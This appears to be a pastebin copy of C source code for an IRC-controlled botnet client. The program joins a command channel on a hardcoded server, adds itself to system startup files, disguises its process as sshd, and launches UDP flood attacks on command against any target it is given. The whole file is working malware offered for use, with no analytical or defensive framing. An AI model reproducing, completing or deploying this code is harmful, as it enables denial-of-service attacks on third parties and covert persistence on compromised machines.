SHOW:
|
|
- or go back to the newest paste.
| 1 | #define STARTUP //set to define if rooted | |
| 2 | #undef IDENT | |
| 3 | #define FAKENAME "/usr/sbin/sshd" | |
| 4 | #define CHAN "#channel#" | |
| 5 | #define KEY "keyword" | |
| 6 | #define PORT 1935 | |
| 7 | #define PASS "password" | |
| 8 | #define STD2_STRING "std" | |
| 9 | #define STD2_SIZE 50 | |
| 10 | #define PREFIX "." | |
| 11 | int numservers=1; | |
| 12 | char *servers[] = {
| |
| 13 | "fbi.gov", | |
| 14 | (void*)0 | |
| 15 | }; | |
| 16 | ||
| 17 | #include <stdarg.h> | |
| 18 | #include <errno.h> | |
| 19 | #include <stdio.h> | |
| 20 | #include <stdlib.h> | |
| 21 | #include <string.h> | |
| 22 | #include <sys/types.h> | |
| 23 | #include <sys/stat.h> | |
| 24 | #include <fcntl.h> | |
| 25 | #include <strings.h> | |
| 26 | #include <netinet/in.h> | |
| 27 | #include <unistd.h> | |
| 28 | #include <sys/time.h> | |
| 29 | #include <sys/socket.h> | |
| 30 | #include <signal.h> | |
| 31 | #include <arpa/inet.h> | |
| 32 | #include <netdb.h> | |
| 33 | #include <time.h> | |
| 34 | #include <sys/wait.h> | |
| 35 | #include <sys/ioctl.h> | |
| 36 | ||
| 37 | int sock,changeservers=0; | |
| 38 | char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0, *adminuser1="Fine"; | |
| 39 | unsigned int *pids; | |
| 40 | unsigned long spoofs=0, spoofsm=0, numpids=0; | |
| 41 | ||
| 42 | int strwildmatch(unsigned char* pattern, unsigned char* string) {
| |
| 43 | switch((unsigned char)*pattern) {
| |
| 44 | case '\0': return *string; | |
| 45 | case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); | |
| 46 | case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); | |
| 47 | case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); | |
| 48 | case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); | |
| 49 | case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); | |
| 50 | case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); | |
| 51 | case '?': return !(*string && !strwildmatch(pattern+1, string+1)); | |
| 52 | default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1)); | |
| 53 | } | |
| 54 | } | |
| 55 | int Send(int sock, char *words, ...) {
| |
| 56 | static char textBuffer[1024]; | |
| 57 | va_list args; | |
| 58 | va_start(args, words); | |
| 59 | vsprintf(textBuffer, words, args); | |
| 60 | va_end(args); | |
| 61 | return write(sock,textBuffer,strlen(textBuffer)); | |
| 62 | } | |
| 63 | unsigned int host2ip(char *sender,char *hostname) {
| |
| 64 | static struct in_addr i; | |
| 65 | struct hostent *h; | |
| 66 | if((i.s_addr = inet_addr(hostname)) == -1) {
| |
| 67 | if((h = gethostbyname(hostname)) == NULL) {
| |
| 68 | Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname); | |
| 69 | exit(0); | |
| 70 | } | |
| 71 | bcopy(h->h_addr, (char *)&i.s_addr, h->h_length); | |
| 72 | } | |
| 73 | return i.s_addr; | |
| 74 | } | |
| 75 | int mfork(char *sender) {
| |
| 76 | unsigned int parent, *newpids, i; | |
| 77 | if (disabled == 1) {
| |
| 78 | Send(sock,"NOTICE %s :Unable to comply.\n",sender); | |
| 79 | return 1; | |
| 80 | } | |
| 81 | parent=fork(); | |
| 82 | if (parent <= 0) return parent; | |
| 83 | numpids++; | |
| 84 | newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int)); | |
| 85 | for (i=0;i<numpids-1;i++) newpids[i]=pids[i]; | |
| 86 | newpids[numpids-1]=parent; | |
| 87 | free(pids); | |
| 88 | pids=newpids; | |
| 89 | return parent; | |
| 90 | } | |
| 91 | void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
| |
| 92 | char *makestring() {
| |
| 93 | char *tmp; | |
| 94 | int len=(rand()%5)+4,i; | |
| 95 | FILE *file; | |
| 96 | tmp=(char*)malloc(len+1); | |
| 97 | memset(tmp,0,len+1); | |
| 98 | char *pre; | |
| 99 | if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
| |
| 100 | else {
| |
| 101 | int a=((rand()*rand())%45402)+1; | |
| 102 | char buf[1024]; | |
| 103 | for (i=0;i<a;i++) fgets(buf,1024,file); | |
| 104 | memset(buf,0,1024); | |
| 105 | fgets(buf,1024,file); | |
| 106 | filter(buf); | |
| 107 | memcpy(tmp,buf,len); | |
| 108 | fclose(file); | |
| 109 | } | |
| 110 | return tmp; | |
| 111 | } | |
| 112 | void identd() {
| |
| 113 | int sockname,sockfd,sin_size,tmpsock,i; | |
| 114 | struct sockaddr_in my_addr,their_addr; | |
| 115 | char szBuffer[1024]; | |
| 116 | if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return; | |
| 117 | my_addr.sin_family = AF_INET; | |
| 118 | my_addr.sin_port = htons(113); | |
| 119 | my_addr.sin_addr.s_addr = INADDR_ANY; | |
| 120 | memset(&(my_addr.sin_zero), 0, 8); | |
| 121 | if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return; | |
| 122 | if (listen(sockfd, 1) == -1) return; | |
| 123 | if (fork() == 0) return; | |
| 124 | sin_size = sizeof(struct sockaddr_in); | |
| 125 | if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0); | |
| 126 | for(;;) {
| |
| 127 | fd_set bla; | |
| 128 | struct timeval timee; | |
| 129 | FD_ZERO(&bla); | |
| 130 | FD_SET(tmpsock,&bla); | |
| 131 | timee.tv_sec=timee.tv_usec=60; | |
| 132 | if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0); | |
| 133 | if (FD_ISSET(tmpsock,&bla)) break; | |
| 134 | } | |
| 135 | i = recv(tmpsock,szBuffer,1024,0); | |
| 136 | if (i <= 0 || i >= 20) exit(0); | |
| 137 | szBuffer[i]=0; | |
| 138 | if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0; | |
| 139 | if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0; | |
| 140 | Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident); | |
| 141 | close(tmpsock); | |
| 142 | close(sockfd); | |
| 143 | exit(0); | |
| 144 | } | |
| 145 | ||
| 146 | //STD Attack | |
| 147 | void std(int sock, char *sender, int argc, char **argv) {
| |
| 148 | if (argc < 3) {
| |
| 149 | ||
| 150 | Send(sock,"PRIVMSG %s :>bot +std <target> <port> <secs>\n",chan); | |
| 151 | exit(1); | |
| 152 | ||
| 153 | } | |
| 154 | unsigned long secs; | |
| 155 | ||
| 156 | int iSTD_Sock; | |
| 157 | ||
| 158 | iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0); | |
| 159 | ||
| 160 | time_t start = time(NULL); | |
| 161 | secs = atol(argv[3]); | |
| 162 | if (mfork(sender) != 0) return; | |
| 163 | Send(sock,"PRIVMSG %s :[STD]Hitting %s!\n",chan,argv[1]); | |
| 164 | ||
| 165 | struct sockaddr_in sin; | |
| 166 | ||
| 167 | struct hostent *hp; | |
| 168 | ||
| 169 | hp = gethostbyname(argv[1]); | |
| 170 | ||
| 171 | bzero((char*) &sin,sizeof(sin)); | |
| 172 | bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); | |
| 173 | sin.sin_family = hp->h_addrtype; | |
| 174 | sin.sin_port = atol(argv[2]); | |
| 175 | ||
| 176 | unsigned int a = 0; | |
| 177 | ||
| 178 | while(1){
| |
| 179 | if (a >= 50) | |
| 180 | {
| |
| 181 | send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0); | |
| 182 | connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin)); | |
| 183 | if (time(NULL) >= start + secs) | |
| 184 | {
| |
| 185 | Send(sock, "PRIVMSG %s :[STD]Done hitting %s!\n", chan, argv[1]); | |
| 186 | close(iSTD_Sock); | |
| 187 | exit(0); | |
| 188 | } | |
| 189 | a = 0; | |
| 190 | } | |
| 191 | a++; | |
| 192 | } | |
| 193 | ||
| 194 | ||
| 195 | } | |
| 196 | ||
| 197 | void stop(int sock, char *sender, int argc, char **argv){
| |
| 198 | unsigned long i; | |
| 199 | for (i=0;i<numpids;i++) {
| |
| 200 | if (pids[i] != 0 && pids[i] != getpid()) {
| |
| 201 | if (sender) Send(sock,"PRIVMSG %s :Killing pid %d.\n",chan,pids[i]); | |
| 202 | kill(pids[i],9); | |
| 203 | } | |
| 204 | } | |
| 205 | } | |
| 206 | ||
| 207 | void unknown(int sock, char *sender, int argc, char **argv) {
| |
| 208 | int flag=1,fd,i; | |
| 209 | unsigned long secs; | |
| 210 | char *buf=(char*)malloc(9216); | |
| 211 | struct hostent *hp; | |
| 212 | struct sockaddr_in in; | |
| 213 | ||
| 214 | time_t start=time(NULL); | |
| 215 | ||
| 216 | if (mfork(sender) != 0) return; | |
| 217 | ||
| 218 | if (argc != 2) {
| |
| 219 | Send(sock,"PRIVMSG %s :>bot +unknown <target> <secs>\n",chan); | |
| 220 | exit(1); | |
| 221 | } | |
| 222 | ||
| 223 | secs=atol(argv[2]); | |
| 224 | ||
| 225 | memset((void*)&in,0,sizeof(struct sockaddr_in)); | |
| 226 | ||
| 227 | in.sin_addr.s_addr=host2ip(sender,argv[1]); | |
| 228 | in.sin_family = AF_INET; | |
| 229 | ||
| 230 | Send(sock,"PRIVMSG %s :[UNK]Hitting %s!\n",chan,argv[1]); | |
| 231 | ||
| 232 | while(1) {
| |
| 233 | ||
| 234 | in.sin_port = rand(); | |
| 235 | ||
| 236 | if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0){
| |
| 237 | } else {
| |
| 238 | flag=1; | |
| 239 | ioctl(fd,FIONBIO,&flag); | |
| 240 | sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in)); | |
| 241 | close(fd); | |
| 242 | } | |
| 243 | ||
| 244 | if (i >= 50) {
| |
| 245 | if (time(NULL) >= start+secs) break; | |
| 246 | i=0; | |
| 247 | } | |
| 248 | i++; | |
| 249 | } | |
| 250 | Send(sock,"PRIVMSG %s :[UNK]Done hitting %s!\n",chan,argv[1]); | |
| 251 | close(fd); | |
| 252 | exit(0); | |
| 253 | } | |
| 254 | ||
| 255 | //Kill the bot | |
| 256 | void killsec(int sock, char *sender, int argc, char **argv) {
| |
| 257 | ||
| 258 | if(strcasecmp(adminuser1,sender) == 0){
| |
| 259 | ||
| 260 | kill(0,9); | |
| 261 | ||
| 262 | } else {
| |
| 263 | ||
| 264 | Send(sock,"PRIVMSG %s :Nice try...\n", chan); | |
| 265 | ||
| 266 | } | |
| 267 | } | |
| 268 | ||
| 269 | struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
| |
| 270 | { "+std" , std },
| |
| 271 | { "+stop" , stop },
| |
| 272 | { "+unknown" , unknown },
| |
| 273 | { "Kkt9x4JApM0RuSqCLA" , killsec },
| |
| 274 | { (char *)0, (void (*)(int,char *,int,char **))0 } };
| |
| 275 | ||
| 276 | void _PRIVMSG(int sock, char *sender, char *str) {
| |
| 277 | int i; | |
| 278 | char *to, *message; | |
| 279 | ||
| 280 | for (i=0;i<strlen(str) && str[i] != ' ';i++); | |
| 281 | str[i]=0; | |
| 282 | to=str; | |
| 283 | message=str+i+2; | |
| 284 | for (i=0;i<strlen(sender) && sender[i] != '!';i++); | |
| 285 | sender[i]=0; | |
| 286 | if (*message == '>' && !strcasecmp(to,chan)) {
| |
| 287 | char *params[12], name[1024]={0};
| |
| 288 | int num_params=0, m; | |
| 289 | message++; | |
| 290 | for (i=0;i<strlen(message) && message[i] != ' ';i++); | |
| 291 | message[i]=0; | |
| 292 | if (strwildmatch(message,nick)) return; | |
| 293 | message+=i+1; | |
| 294 | m=strlen(message); | |
| 295 | for (i=0;i<m;i++) {
| |
| 296 | if (*message == ' ' || *message == 0) break; | |
| 297 | name[i]=*message; | |
| 298 | message++; | |
| 299 | } | |
| 300 | for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++; | |
| 301 | num_params++; | |
| 302 | if (num_params > 10) num_params=10; | |
| 303 | params[0]=name; | |
| 304 | params[num_params+1]="\0"; | |
| 305 | m=1; | |
| 306 | while (*message != 0) {
| |
| 307 | message++; | |
| 308 | if (m >= num_params) break; | |
| 309 | for (i=0;i<strlen(message) && message[i] != ' ';i++); | |
| 310 | params[m]=(char*)malloc(i+1); | |
| 311 | strncpy(params[m],message,i); | |
| 312 | params[m][i]=0; | |
| 313 | m++; | |
| 314 | message+=i; | |
| 315 | } | |
| 316 | for (m=0; flooders[m].cmd != (char *)0; m++) {
| |
| 317 | if (!strcasecmp(flooders[m].cmd,name)) {
| |
| 318 | flooders[m].func(sock,sender,num_params-1,params); | |
| 319 | for (i=1;i<num_params;i++) free(params[i]); | |
| 320 | return; | |
| 321 | } | |
| 322 | } | |
| 323 | } | |
| 324 | } | |
| 325 | void _376(int sock, char *sender, char *str) {
| |
| 326 | Send(sock,"MODE %s +pixB\n",nick); | |
| 327 | Send(sock,"JOIN %s :%s\n",chan,key); | |
| 328 | Send(sock,"WHO %s\n",nick); | |
| 329 | } | |
| 330 | void _PING(int sock, char *sender, char *str) {
| |
| 331 | ||
| 332 | Send(sock,"PONG %s\n",str); | |
| 333 | ||
| 334 | } | |
| 335 | ||
| 336 | void _352(int sock, char *sender, char *str) {
| |
| 337 | int i,d; | |
| 338 | char *msg=str; | |
| 339 | struct hostent *hostm; | |
| 340 | unsigned long m; | |
| 341 | for (i=0,d=0;d<5;d++) {
| |
| 342 | for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++; | |
| 343 | if (i == strlen(str)) return; | |
| 344 | } | |
| 345 | for (i=0;i<strlen(msg) && msg[i] != ' ';i++); | |
| 346 | msg[i]=0; | |
| 347 | if (!strcasecmp(msg,nick) && !spoofsm) {
| |
| 348 | msg=str; | |
| 349 | for (i=0,d=0;d<3;d++) {
| |
| 350 | for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++; | |
| 351 | if (i == strlen(str)) return; | |
| 352 | } | |
| 353 | for (i=0;i<strlen(msg) && msg[i] != ' ';i++); | |
| 354 | msg[i]=0; | |
| 355 | if ((m = inet_addr(msg)) == -1) {
| |
| 356 | if ((hostm=gethostbyname(msg)) == NULL) {
| |
| 357 | Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan); | |
| 358 | return; | |
| 359 | } | |
| 360 | memcpy((char*)&m, hostm->h_addr, hostm->h_length); | |
| 361 | } | |
| 362 | ((char*)&spoofs)[3]=((char*)&m)[0]; | |
| 363 | ((char*)&spoofs)[2]=((char*)&m)[1]; | |
| 364 | ((char*)&spoofs)[1]=((char*)&m)[2]; | |
| 365 | ((char*)&spoofs)[0]=0; | |
| 366 | spoofsm=256; | |
| 367 | } | |
| 368 | } | |
| 369 | void _433(int sock, char *sender, char *str) {
| |
| 370 | free(nick); | |
| 371 | char tempnick[50]; | |
| 372 | char *strpref = PREFIX; | |
| 373 | char *genname = makestring(); | |
| 374 | strcpy(tempnick,strpref); | |
| 375 | strcat(tempnick,genname); | |
| 376 | nick=tempnick; | |
| 377 | } | |
| 378 | ||
| 379 | struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
| |
| 380 | { "352", _352 },
| |
| 381 | { "376", _376 },
| |
| 382 | { "433", _433 },
| |
| 383 | { "422", _376 },
| |
| 384 | { "PRIVMSG", _PRIVMSG },
| |
| 385 | { "PING", _PING },
| |
| 386 | { (char *)0, (void (*)(int,char *,char *))0 } };
| |
| 387 | void con() {
| |
| 388 | struct sockaddr_in srv; | |
| 389 | unsigned long ipaddr,start; | |
| 390 | int flag; | |
| 391 | struct hostent *hp; | |
| 392 | start: | |
| 393 | sock=-1; | |
| 394 | flag=1; | |
| 395 | if (changeservers == 0) server=servers[rand()%numservers]; | |
| 396 | changeservers=0; | |
| 397 | while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0); | |
| 398 | if (inet_addr(server) == 0 || inet_addr(server) == -1) {
| |
| 399 | if ((hp = gethostbyname(server)) == NULL) {
| |
| 400 | server=NULL; | |
| 401 | close(sock); | |
| 402 | goto start; | |
| 403 | } | |
| 404 | bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length); | |
| 405 | } | |
| 406 | else srv.sin_addr.s_addr=inet_addr(server); | |
| 407 | srv.sin_family = AF_INET; | |
| 408 | srv.sin_port = htons(PORT); | |
| 409 | ioctl(sock,FIONBIO,&flag); | |
| 410 | start=time(NULL); | |
| 411 | while(time(NULL)-start < 10) {
| |
| 412 | errno=0; | |
| 413 | if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
| |
| 414 | setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0); | |
| 415 | setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0); | |
| 416 | setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0); | |
| 417 | return; | |
| 418 | } | |
| 419 | if (!(errno == EINPROGRESS ||errno == EALREADY)) break; | |
| 420 | sleep(1); | |
| 421 | } | |
| 422 | server=NULL; | |
| 423 | close(sock); | |
| 424 | goto start; | |
| 425 | } | |
| 426 | int main(int argc, char *argv[]) {
| |
| 427 | int on,i; | |
| 428 | char cwd[256],*str; | |
| 429 | FILE *file; | |
| 430 | #ifdef STARTUP | |
| 431 | str="/etc/rc.d/rc.local"; | |
| 432 | file=fopen(str,"r"); | |
| 433 | if (file == NULL) {
| |
| 434 | str="/etc/rc.conf"; | |
| 435 | file=fopen(str,"r"); | |
| 436 | } | |
| 437 | if (file != NULL) {
| |
| 438 | char outfile[256], buf[1024]; | |
| 439 | int i=strlen(argv[0]), d=0; | |
| 440 | getcwd(cwd,256); | |
| 441 | if (strcmp(cwd,"/")) {
| |
| 442 | while(argv[0][i] != '/') i--; | |
| 443 | sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i); | |
| 444 | while(!feof(file)) {
| |
| 445 | fgets(buf,1024,file); | |
| 446 | if (!strcasecmp(buf,outfile)) d++; | |
| 447 | } | |
| 448 | if (d == 0) {
| |
| 449 | FILE *out; | |
| 450 | fclose(file); | |
| 451 | out=fopen(str,"a"); | |
| 452 | if (out != NULL) {
| |
| 453 | fputs(outfile,out); | |
| 454 | fclose(out); | |
| 455 | } | |
| 456 | } | |
| 457 | else fclose(file); | |
| 458 | } | |
| 459 | else fclose(file); | |
| 460 | } | |
| 461 | #endif | |
| 462 | if (fork()) exit(0); | |
| 463 | #ifdef FAKENAME | |
| 464 | strncpy(argv[0],FAKENAME,strlen(argv[0])); | |
| 465 | for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on])); | |
| 466 | #endif | |
| 467 | srand((time(NULL) ^ getpid()) + getppid()); | |
| 468 | char tempnick[50]; | |
| 469 | char *strpref = PREFIX; | |
| 470 | char *genname = makestring(); | |
| 471 | ||
| 472 | strcpy(tempnick,strpref); | |
| 473 | strcat(tempnick,genname); | |
| 474 | ||
| 475 | nick=tempnick; | |
| 476 | ident="Remote"; | |
| 477 | user="Remote IRC Bot"; | |
| 478 | chan=CHAN; | |
| 479 | key=KEY; | |
| 480 | pass=PASS; | |
| 481 | server=NULL; | |
| 482 | sa: | |
| 483 | #ifdef IDENT | |
| 484 | for (i=0;i<numpids;i++) {
| |
| 485 | if (pids[i] != 0 && pids[i] != getpid()) {
| |
| 486 | kill(pids[i],9); | |
| 487 | waitpid(pids[i],NULL,WNOHANG); | |
| 488 | } | |
| 489 | } | |
| 490 | pids=NULL; | |
| 491 | numpids=0; | |
| 492 | identd(); | |
| 493 | #endif | |
| 494 | ||
| 495 | con(); | |
| 496 | Send(sock,"PASS %s\n", pass); | |
| 497 | Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user); | |
| 498 | while(1) {
| |
| 499 | unsigned long i; | |
| 500 | fd_set n; | |
| 501 | struct timeval tv; | |
| 502 | FD_ZERO(&n); | |
| 503 | FD_SET(sock,&n); | |
| 504 | tv.tv_sec=60*20; | |
| 505 | tv.tv_usec=0; | |
| 506 | if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa; | |
| 507 | for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
| |
| 508 | unsigned int *newpids,on; | |
| 509 | for (on=i+1;on<numpids;on++) pids[on-1]=pids[on]; | |
| 510 | pids[on-1]=0; | |
| 511 | numpids--; | |
| 512 | newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int)); | |
| 513 | for (on=0;on<numpids;on++) newpids[on]=pids[on]; | |
| 514 | free(pids); | |
| 515 | pids=newpids; | |
| 516 | } | |
| 517 | if (FD_ISSET(sock,&n)) {
| |
| 518 | char buf[4096], *str; | |
| 519 | int i; | |
| 520 | if ((i=recv(sock,buf,4096,0)) <= 0) goto sa; | |
| 521 | buf[i]=0; | |
| 522 | str=strtok(buf,"\n"); | |
| 523 | while(str && *str) {
| |
| 524 | char name[1024], sender[1024]; | |
| 525 | filter(str); | |
| 526 | if (*str == ':') {
| |
| 527 | for (i=0;i<strlen(str) && str[i] != ' ';i++); | |
| 528 | str[i]=0; | |
| 529 | strcpy(sender,str+1); | |
| 530 | strcpy(str,str+i+1); | |
| 531 | } | |
| 532 | else strcpy(sender,"*"); | |
| 533 | for (i=0;i<strlen(str) && str[i] != ' ';i++); | |
| 534 | str[i]=0; | |
| 535 | strcpy(name,str); | |
| 536 | strcpy(str,str+i+1); | |
| 537 | for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str); | |
| 538 | if (!strcasecmp(name,"ERROR")) goto sa; | |
| 539 | str=strtok((char*)NULL,"\n"); | |
| 540 | } | |
| 541 | } | |
| 542 | } | |
| 543 | return 0; | |
| 544 | } |